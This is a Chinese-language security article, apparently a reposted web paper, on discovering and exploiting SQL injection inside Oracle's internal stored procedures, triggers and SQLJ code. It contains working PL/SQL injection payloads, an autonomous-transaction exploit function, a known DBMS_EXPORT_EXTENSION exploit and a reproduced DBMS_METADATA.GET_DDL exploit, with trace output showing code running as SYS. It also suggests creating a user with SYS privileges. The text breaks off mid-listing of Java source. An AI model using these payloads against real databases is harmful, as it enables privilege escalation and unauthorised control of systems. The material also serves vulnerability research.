点击这里给我发消息 点击这里给我发消息

深入挖掘Oracle内部SQL注入

添加时间:2013-12-7
    相关阅读: 开发 WEB 技术 数据库 网络 SQL Oracle

一、前言

  好久没写PAPER了,日久之疏懒成性。我觉得在国内的ORACLE攻防技术研究得比较少,比较欠缺。或许是我孤陋寡闻。在国外许许多多的PAPER已经成为了ORACLE攻击技术的经典。

  那么接下来的就是跟大家讨论一下关于ORACLE内部SQL注射技术。相信大家都看过我写的《ART OF WEB-SQL-INJECTION第2卷 ORACLE篇 》07年的初的时候,本文已经写好《检测函数注入in ORACLE》。可惜在偶的一次数据丢失中,许多PAPER进了坟墓。如今标题换了为《深入挖掘ORACLE内部SQLINJECTION》,为什么?其实ORACLE的内部SQL注射不单单出自于函数存储过程,如果你是这样想的话,那就太狭隘了,其实还有好多的地方还是会出现SQL注射的。例如他的TRIGGER,SQLJ,JOB等等…希望本文可以让你在ORACLE攻防中受益,接下来就轮到大家拍砖了。

  二、正文

  在WEB上面SQL注入已经成为当今所谓的“日”站主流。这里就不废话,那到数据库层面到底什么样的存储过程/函数会出现SQLI注入呢?首先看一个例子:

  Example1:

     CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
  AS
  BEGIN
  execute immediate 'begin insert into KJTESTTABLE values('''|| injcode ||''');end;';
  END;

  看以上的存储过程,把参数写入一个表中,在一般开发经常有这样的情况出现。

  那么看下面的调用,如下会把字符串1写入表 KJTESTTABLE里面。

      declare
  begin
  KJTEST('1');
  end;

  那么现在可以对injcode进行POC一下

      declare
  begin
  KJTEST('1'');dbms_output.put_line(''hello');
  end;

  执行这样的方法可以看到在控制台输出hello的字样。

  OK,这个攻击的EXP就非常好写了!

      declare
  begin
  KJTEST('1'');EXP-CODE;dbms_output.put_line(''hello');
  end;

  那么,这样的存储过程中出现SQL注入,一般用户写的存储过程有这样的漏洞,倒还好。但是如果出现在SYS SYSTEM这类的系统管理员用户的储存过程中,问题就大了。现在再看看ORA中,方法调用权限的模型。

  如下,一个普通权限的用户KJ调用sys.dbms_metadata.get_ddl可以获取某个系统对象的DDL源代码,那么当这个函数被调用的时候,因为该函数拥有者是SYS 所以调用者被赋予sys同等角色的权限。开始操作查询系统对象,然后把结果反还给KJ,再次转换为KJ自己的权限看下面的指示:

  用户--->调用函数(转换为函数拥有者的权限)--->执行操作--->获取结果--->(转换为自己权限) --->结束#p#分页标题#e#

  看明白上面的我们就可以继续了,如果在SYS用户的对象中有SQL注射出现,那么我们就以SYS用户身份做事包括添加用户等。那么在上面的 EXP-CODE中,我们完全可以以SYS用户身份执行execute immediate 'create user kj identified by kj',OK上面的第一个例子我们讨论到这里。

  并不是所有的ORA内部SQL注射都可以这样使用的!在上述这个例子里面已经可以算是非常少见的了。而且极好利用!再看下面一个例子

  Example2:

      CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
  AS
  tbn varchar2(1000);
  BEGIN
  execute immediate 'select table_name from user_tables where table_name='''|| injcode ||''''
  into tbn;
  dbms_output.put_line(tbn);
  END;

  那么我们正常调用的时候则采用此方式:

      declare
  begin
  KJTEST('KJTESTTABLE');
  end;

  查看用户系统表中名字为KJTESTTABLE的记录。

  OK,现在留意存储过程中使用动态执行SQL语句,因为目标运行的是单个SQL语句,那么我们不能像例子1那样使用多语句进行攻击,但是我们可以控制当前语句执行的流程。有个方法,就是我们放入一个建立EXP的函数。让这个SQL执行调用。看以下利用:

      CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
  RESULT INTEGER;
  PRAGMA AUTONOMOUS_TRANSACTION;
  BEGIN
  EXECUTE IMMEDIATE 'INSERT INTO KJTESTTABLE VALUES(021320)';
  COMMIT;
  RETURN(RESULT);
  END KJHACKEREXP;
  declare
  begin
  KJTEST('KJTESTTABLE''||KJHACKEREXP()||''');
  end;

  OK,这样就是在ORACLE里面产生的SQLINJECTION,前戏完毕!现在进入挖掘部分。

挖掘分为2部分:黑盒与白盒方式。

  首先介绍简单的是白盒方式,ORACLE中每个对象的SOURCE都会保存在数据库内的。那么我们可以采用一个存储过程来获取SYS.DBMS_METADATA.GET_DDL,类似一下语句:

      SELECT SYS.DBMS_METADATA.GET_DDL('FUNCTION','KJHACKEREXP')
  FROM DUAL

  可以获取该对象的Data Declare Source,当然你也可以自己查询:#p#分页标题#e#

  SELECT * from all_source

  但是是否这么简单呢?当然不会了,在ORACLE中,也提供了对存储过程函数等加密的手段,类似SQLSERVER的存储过程加密。所以当你查看ctxsys.CTX_DDL的时候会发现以下东西出现:

  create or replace package body ctxsys.CTX_DDL wrapped

  对,就是ORACLE中wrap加密编码了,那么就只能黑盒测试了,测试的时候如何去获取当时

  ORACLE执行的操作呢?可以通过以下的方法:

  1.ORACLE 网络或者服务器的 traces 文件 。

  2.分析ORACLE的重做日志 。

  3.采用数据库触发器( TRIGGER)监控操作 。 4.查询ORACLE SQL缓存池 (SGA)

  等等,如果你有能力反编译ORACLE存储过程当然最好不过了。

  下面先介绍采用最简单的查询SGA,拿回来这个比较经典的EXP执行一下:

      SELECT
   SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE(''KJ021320'');END;--','SYS',0,'1',0)
  FROM DUAL

  然后执行以下查看SGA

      SELECT A.ADDRESS ADDRESS,S.HASH_VALUE HASH_VALUE,S.PIECE PIECE,S.SQL_TEXT SQL_TEXT,U.USERNAME
  PARSING_USER_ID,C.USERNAME PARSING_SCHEMA_ID FROM V$SQLAREA A,V$SQLTEXT_WITH_NEWLINES
  S,DBA_USERS U,DBA_USERS C WHERE A.ADDRESS=S.ADDRESS AND
  A.HASH_VALUE=S.HASH_VALUE AND A.PARSING_USER_ID=U.USER_ID AND
  A.PARSING_SCHEMA_ID=C.USER_ID AND EXISTS (SELECT 'X' FROM V$SQLTEXT_WITH_NEWLINES
  X WHERE X.ADDRESS=A.ADDRESS AND X.HASH_VALUE=A.HASH_VALUE AND UPPER(X.SQL_TEXT) LIKE
  '%SYS.DBMS_OUTPUT.PUT_LINE(%')ORDER BY 1,2,3

  得到如下结果:

      ADDRESS HASH_VALUE PIECE SQL_TEXT PARSING_USER_ID
  PARSING_SCHEMA_ID
  668C9120 1612804047 0 BEGIN
  "SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ0 SYS SYS
  668C9120 1612804047 1 21320');END;--".ODCIIndexUtilCleanup(:p1); END;
  SYS SYS
  BEGIN
  "SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ021320');END;
  --".ODCIIndexUtilCleanup(:p1); END;

  因为它内部是一个多语句的注射点,所以我们可以采用Example1的攻击方式。
#p#分页标题#e#
  接下来我们继续讨论使用ORACLE TRACE的方式来进行记录,有几种方法可以得到一个SQL语句执行时后台的trace文件,一个是用SQL_TRACE,一个是用 DBMS_SUPPORT包或者DBMS_SYSTEM包,还有一种就是直接使用10046 event。具体方式如下:

      ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12';
  YOUR SQL STATEMENT...
  ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF';

  其中的level有1,4,8,12几个选项,其中1相当于设置SQL_TRACE=TRUE之后的结果,4包括1的结果和绑定变量的实际值, 8包括1的结果和等待事件的情况,12则同时包含1的结果,绑定变量的实际值和等待事件情况,所以可以说level 12是最为详细的trace了。

  OK,基础说完。我现在拿过去的一个漏洞出来测试:

  http://www.milw0rm.com/exploits/3363

  这里的SYS.DBMS_METADATA.GET_DDL出现SQL注入漏洞,那么看我在PLSQL上面怎么重现

  他的注入点内部前戏:

      CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
  RESULT INTEGER;
  PRAGMA AUTONOMOUS_TRANSACTION;
  BEGIN
  EXECUTE IMMEDIATE 'INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)';
  COMMIT;
  RETURN(RESULT);
  END KJHACKEREXP;

  以下为重点语句:

      ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12';
  SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKEREXP()||''','') FROM DUAL;
  ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF';

  执行之后发现异常,忽略掉就可以。OK,我找到oracle\admin\{SID}\udump 目录下面有

  一大堆trc文件,找找看以下是捕捉到的记录,很多很乱贴出来看不习惯的请见谅:

      PARSING IN CURSOR #1 len=80 dep=0 uid=61 oct=3 lid=61 tim=5821472460 hv=3907016812 ad='666488bc'
  SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKEREXP()||''','') FROM DUAL

  这里是我们开始的

      END OF STMT
  PARSE #1:c=0,e=2772,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5821472453
  BINDS #1:
  EXEC #1:c=0,e=102,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821473044
  WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
  WAIT #1: nam='SQL*Net message from client' ela= 712 p1=1413697536 p2=1 p3=0

      PARSING IN CURSOR #4 len=54 dep=1 uid=61 oct=3 lid=61 tim=5821474773 hv=3714800427 ad='665afb10'#p#分页标题#e#
  SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
  END OF STMT
  PARSE #4:c=0,e=418,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821474767
  BINDS #4:
  EXEC #4:c=0,e=110,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821475306
  FETCH #4:c=0,e=37,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5821475420
  STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '

      PARSING IN CURSOR #4 len=740 dep=1 uid=0 oct=3 lid=0 tim=5821479726 hv=2617299981 ad='665793f0'
  SELECT properties, version, xmltag, udt, schema, viewname, flags, decode(bitand(flags,1), 0, 0, 1), decod

第一个注入点:

      END OF STMT
  PARSE #4:c=0,e=3904,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821479719
  BINDS #4:
  ===================== PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821480756 hv=1324055951 ad='6684058c'
  INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
  END OF STMT
  PARSE #5:c=0,e=370,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=4,tim=5821480750
  BINDS #5:
  EXEC #5:c=0,e=256,p=0,cr=1,cu=7,mis=0,r=1,dep=2,og=4,tim=5821481459
  XCTEND rlbk=0, rd_only=0
  =====================
  PARSING IN CURSOR #2 len=6 dep=2 uid=0 oct=44 lid=0 tim=5821485357 hv=3615375148 ad='6683f908'
  COMMIT
  END OF STMT
  EXEC #2:c=0,e=3742,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821485350
  EXEC #4:c=0,e=5588,p=0,cr=1,cu=8,mis=0,r=0,dep=1,og=4,tim=5821485780
  FETCH #4:c=0,e=13,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821485932
  STAT #4 id=1 cnt=0 pid=0 pos=1 obj=453 op='TABLE ACCESS BY INDEX ROWID METAVIEW$ '
  STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ '
  =====================
  PARSING IN CURSOR #4 len=76 dep=1 uid=0 oct=3 lid=0 tim=5821489243 hv=1567650580 ad='665750fc'
  SELECT COUNT(*) FROM sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||''

第2个注入点:

      END OF STMT
  PARSE #4:c=0,e=2742,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821489235
  BINDS #4:
  =====================
  PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821489578 hv=1324055951 ad='6684058c'
  INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
  END OF STMT
  PARSE #5:c=0,e=59,p=0,cr=0,cu=0,mis=0,r=0,dep=2,og=4,tim=5821489574
  BINDS #5:#p#分页标题#e#
  EXEC #5:c=0,e=134,p=0,cr=1,cu=2,mis=0,r=1,dep=2,og=4,tim=5821489747
  XCTEND rlbk=0, rd_only=0
  EXEC #2:c=0,e=73,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821489880
  EXEC #4:c=0,e=538,p=0,cr=1,cu=3,mis=0,r=0,dep=1,og=4,tim=5821489928
  FETCH #4:c=0,e=12,p=0,cr=0,cu=0,mis=0,r=1,dep=1,og=4,tim=5821489962
  STAT #4 id=1 cnt=1 pid=0 pos=1 obj=0 op='SORT AGGREGATE '
  STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ '
  FETCH #1:c=0,e=17012,p=0,cr=8,cu=11,mis=0,r=0,dep=0,og=4,tim=5821491101
  WAIT #1: nam='log file sync' ela= 341 p1=819 p2=0 p3=0
  WAIT #1: nam='SQL*Net break/reset to client' ela= 74 p1=1413697536 p2=1 p3=0
  WAIT #1: nam='SQL*Net break/reset to client' ela= 204 p1=1413697536 p2=0 p3=0
  WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
  WAIT #1: nam='SQL*Net message from client' ela= 3958 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #4 len=61 dep=0 uid=61 oct=47 lid=61 tim=5821500658 hv=3517412409 ad='669b2620'
  begin :id := sys.dbms_transaction.local_transaction_id; end;
  END OF STMT
  PARSE #4:c=0,e=118,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821500653
  BINDS #4:
  bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
  bfp=04c0f830 bln=2000 avl=00 flg=05
  WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
  EXEC #4:c=0,e=145,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5821500860
  WAIT #4: nam='SQL*Net message from client' ela= 2708856 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #4 len=73 dep=0 uid=61 oct=47 lid=61 tim=5824210045 hv=678177122 ad='669adadc'
  begin
  sys.dbms_output.get_line(line => :line, status => :status);
  end;
  END OF STMT
  PARSE #4:c=0,e=158,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5824210040
  BINDS #4:
  bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
  bfp=04c0f830 bln=2000 avl=00 flg=05
  bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0
  bfp=04a8fb80 bln=22 avl=00 flg=05
  WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
  EXEC #4:c=0,e=163,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5824210269
  WAIT #4: nam='SQL*Net message from client' ela= 6717782 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #4 len=21 dep=0 uid=61 oct=3 lid=61 tim=5830928325 hv=2888538493 ad='669abe84'
  select 'x' from dual
  END OF STMT
  PARSE #4:c=0,e=77,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928320
  BINDS #4:#p#分页标题#e#
  EXEC #4:c=0,e=42,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928419
  WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
  WAIT #4: nam='SQL*Net message from client' ela= 406 p1=1413697536 p2=1 p3=0
  WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
  FETCH #4:c=0,e=54,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5830928945
  WAIT #4: nam='SQL*Net message from client' ela= 515 p1=1413697536 p2=1 p3=0
  STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
  =====================  PARSING IN CURSOR #4 len=114 dep=0 uid=61 oct=47 lid=61 tim=5830929706 hv=2628502993 ad='669c5924'
  begin
  if :enable = 0 then
  sys.dbms_output.disable;
  else
  sys.dbms_output.enable(:size);
  end if;
  end;
  END OF STMT
  PARSE #4:c=0,e=137,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830929702
  BINDS #4:
  bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0
  bfp=04a8fb68 bln=22 avl=02 flg=05
  value=1
  bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24
  bfp=04a8fb80 bln=22 avl=02 flg=01
  value=10000
  WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
  EXEC #4:c=0,e=247,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830930021
  WAIT #4: nam='SQL*Net message from client' ela= 38283 p1=1413697536 p2=1 p3=0
  STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
  =====================
  PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830968630 hv=3517412409 ad='669b2620'
  begin :id := sys.dbms_transaction.local_transaction_id; end;
  END OF STMT
  PARSE #1:c=0,e=99,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830968625
  BINDS #1:
  bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
  bfp=04c0f830 bln=2000 avl=00 flg=05
  WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
  EXEC #1:c=0,e=140,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830968820
  WAIT #1: nam='SQL*Net message from client' ela= 456 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #1 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830969751 hv=1998264515 ad='6683df78'
  SELECT * FROM KJTESTTABLE
  END OF STMT
  PARSE #1:c=0,e=371,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5830969746
  BINDS #1:
  EXEC #1:c=0,e=29,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830969837#p#分页标题#e#
  WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
  WAIT #1: nam='SQL*Net message from client' ela= 453 p1=1413697536 p2=1 p3=0
  WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
  FETCH #1:c=0,e=61,p=0,cr=3,cu=0,mis=0,r=2,dep=0,og=4,tim=5830970423
  WAIT #1: nam='SQL*Net message from client' ela= 3199 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #4 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830973736 hv=1998264515 ad='6683df78'
  SELECT * FROM KJTESTTABLE
  END OF STMT
  PARSE #4:c=0,e=54,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830973731
  WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
  WAIT #4: nam='SQL*Net message from client' ela= 20741 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #5 len=116 dep=1 uid=0 oct=3 lid=0 tim=5830994714 hv=189272129 ad='66f9f01c'
  select o.owner#,o.name,o.namespace,o.remoteowner,o.linkname,o.subname,o.dataobj#,o.flags from obj$ o where o.obj#=:1
  END OF STMT
  PARSE #5:c=0,e=50,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994709
  BINDS #5:
  bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=08 oacfl2=1 size=24 offset=0
  bfp=04bfa444 bln=22 avl=04 flg=05
  value=30183
  EXEC #5:c=0,e=72,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994889
  FETCH #5:c=0,e=32,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5830994941
  STAT #1 id=1 cnt=2 pid=0 pos=1 obj=30183 op='TABLE ACCESS FULL KJTESTTABLE '
  =====================
  PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830995126 hv=3517412409 ad='669b2620'
  begin :id := sys.dbms_transaction.local_transaction_id; end;
  END OF STMT
  PARSE #1:c=0,e=80,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830995122
  BINDS #1:
  bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
  bfp=04c0f830 bln=2000 avl=00 flg=05
  WAIT #1: nam='SQL*Net message to client' ela= 4 p1=1413697536 p2=1 p3=0
  EXEC #1:c=0,e=133,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830995299
  WAIT #1: nam='SQL*Net message from client' ela= 16489 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #1 len=73 dep=0 uid=61 oct=47 lid=61 tim=5831012027 hv=678177122 ad='669adadc'
  begin
  sys.dbms_output.get_line(line => :line, status => :status);
  end;
  END OF STMT
  PARSE #1:c=0,e=95,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5831012022
  BINDS #1:
  bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
  bfp=04c0f830 bln=2000 avl=00 flg=05#p#分页标题#e#
  bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0
  bfp=04a8fb80 bln=22 avl=00 flg=05
  WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0   EXEC #1:c=0,e=154,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5831012236
  WAIT #1: nam='SQL*Net message from client' ela= 2431209 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #1 len=21 dep=0 uid=61 oct=3 lid=61 tim=5833443769 hv=2888538493 ad='669abe84'
  select 'x' from dual
  END OF STMT
  PARSE #1:c=0,e=49,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443764
  BINDS #1:
  EXEC #1:c=0,e=38,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443861
  WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
  WAIT #1: nam='SQL*Net message from client' ela= 412 p1=1413697536 p2=1 p3=0
  WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
  FETCH #1:c=0,e=55,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5833444394
  WAIT #1: nam='SQL*Net message from client' ela= 526 p1=1413697536 p2=1 p3=0
  STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
  =====================
  PARSING IN CURSOR #1 len=114 dep=0 uid=61 oct=47 lid=61 tim=5833445119 hv=2628502993 ad='669c5924'
  begin
  if :enable = 0 then
  sys.dbms_output.disable;
  else
  sys.dbms_output.enable(:size);
  end if;
  end;
  END OF STMT
  PARSE #1:c=0,e=86,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833445116
  BINDS #1:
  bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0
  bfp=04a8fb68 bln=22 avl=02 flg=05
  value=1
  bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24
  bfp=04a8fb80 bln=22 avl=02 flg=01
  value=10000
  WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
  EXEC #1:c=0,e=164,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833445350
  WAIT #1: nam='SQL*Net message from client' ela= 44290 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5833489927 hv=3517412409 ad='669b2620'
  begin :id := sys.dbms_transaction.local_transaction_id; end;
  END OF STMT
  PARSE #1:c=0,e=109,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833489922
  BINDS #1:
  bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
  bfp=04c0f830 bln=2000 avl=00 flg=05#p#分页标题#e#
  WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
  EXEC #1:c=0,e=141,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833490119
  WAIT #1: nam='SQL*Net message from client' ela= 680 p1=1413697536 p2=1 p3=0
  =====================
  PARSING IN CURSOR #1 len=56 dep=0 uid=61 oct=42 lid=61 tim=5833510806 hv=1342917134 ad='66548fe8'
  ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF'

  结束语句

      END OF STMT
  PARSE #1:c=0,e=19909,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5833510799
  BINDS #1:
  EXEC #1:c=0,e=76,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833510934

  以上的SQL注入就是类似我们的Example2,所以不可以多语句,只能注入一个EXP函数进行攻击。

  那么其次trigger就是监控对系统表的增删改操作,然后其分析。还有Redo日志分析我这里就不再多说了,大家可以去看看有关ORACLE DBA的资料。

三、尾声

  本文介绍了关于ORACLE内部注射的漏洞检查和挖掘,但是以上例子都说了好多关于存储过程或者函数的漏洞,其实并不是这样的。我们下面的一个系统trigger:

      create or replace trigger MDSYS.sdo_drop_user
  after drop on DATABASE
  declare
  stmt varchar2(200);
  BEGIN
  if dictionary_obj_type = 'USER' THEN
  stmt := 'DELETE FROM SDO_GEOM_METADATA_TABLE ' ||
  ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
  EXECUTE IMMEDIATE stmt;
  stmt := 'DELETE FROM SDO_MAPS_TABLE ' ||
  ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
  EXECUTE IMMEDIATE stmt;
  stmt := 'DELETE FROM SDO_STYLES_TABLE ' ||
  ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
  EXECUTE IMMEDIATE stmt;
  stmt := 'DELETE FROM SDO_THEMES_TABLE ' ||
  ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
  EXECUTE IMMEDIATE stmt;
  stmt := 'DELETE FROM SDO_LRS_METADATA_TABLE ' ||
  ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
  EXECUTE IMMEDIATE stmt;
  end if;
  end;

  被删除的对象sys.dictionary_obj_name这里就存在SQL注入攻击了。
#p#分页标题#e#
  那么我们再来简单分析一个SQLJ,请看我标注的地方:

      create or replace and compile java source named sys./28221493_foreachclass as
  /* generated by Jasper from ForEachClass.jsl */
  package oracle.jaccelerator.server;
  import oracle.aurora.rdbms.ClassHandle;
  import oracle.jaccelerator.server.PackageValidateAll;
  import java.lang.String;
  import oracle.jaccelerator.server.ClassProcessor;  import oracle.aurora.rdbms.Schema;
  import oracle.jaccelerator.server.ForEachClass;
  import java.sql.Connection;
  import oracle.jaccelerator.server.PackageDisableNcomp;
  import oracle.aurora.rdbms.Handle;
  import java.lang.Exception;
  import oracle.sql.*;
  import java.io.*;
  import oracle.jaccelerator.server.*;
  import oracle.jdbc.driver.*;
  import java.sql.*;
  import java.lang.*;
  import java.util.*;
  public class ForEachClass {
  public static String from_plsql (String processorName,
  String packageNamePattern,
  String schema) {
  ClassProcessor processor = null;
  try {
  Class clazz = Class.forName("oracle.jaccelerator.server." + processorName);
  processor = ((ClassProcessor)clazz.newInstance()).init(packageNamePattern, schema);
  } catch (ClassNotFoundException ex) {
  return "class oracle.jaccelerator.server." + processorName + " not found";
  } catch (Exception ex2) {
  return "can not instantiate class oracle.jaccelerator.server." + processorName;
  }
  int count = ForEachClass.inPackage(packageNamePattern, schema).apply(processor);
  return "processed total: " + count + " classes";
  }
  public static ForEachClass inPackage (String packageName, String schema) {
  return new ForEachClass(packageName, schema);
  }
  Connection connection;
  int counter = 0;
  String packageNamePattern;
  String schema;
  public ForEachClass (String packageNamePattern, String schema) {
  this.packageNamePattern = packageNamePattern.replace('.', '/');
  this.schema = schema;
  }
  public int apply (ClassProcessor processor) {#p#分页标题#e#
  try {
  OracleDriver driver = new OracleDriver();
  connection = driver.defaultConnection();
  doit(processor);
  } catch (Exception e) {
  e.printStackTrace();
  }
  finally {
  if (connection != null) {
  }
  }
  return counter;
  }
  void cleanup (Connection connection) {
  }
  public void doit (ClassProcessor processor) throws java.lang.Exception {
  cleanup(connection);
  Statement stmt = connection.createStatement();
  try {
  String cmd;
  cmd = "select dbms_java.longname(OBJECT_NAME) " +
  "from user_objects " +
  "where OBJECT_TYPE = 'JAVA CLASS' and " +
  "dbms_java.longname(OBJECT_NAME) like '" +
  packageNamePattern +
  "/%' " +
  "and dbms_java.longname(OBJECT_NAME) not like '" +
  packageNamePattern +
  "/%/%'";
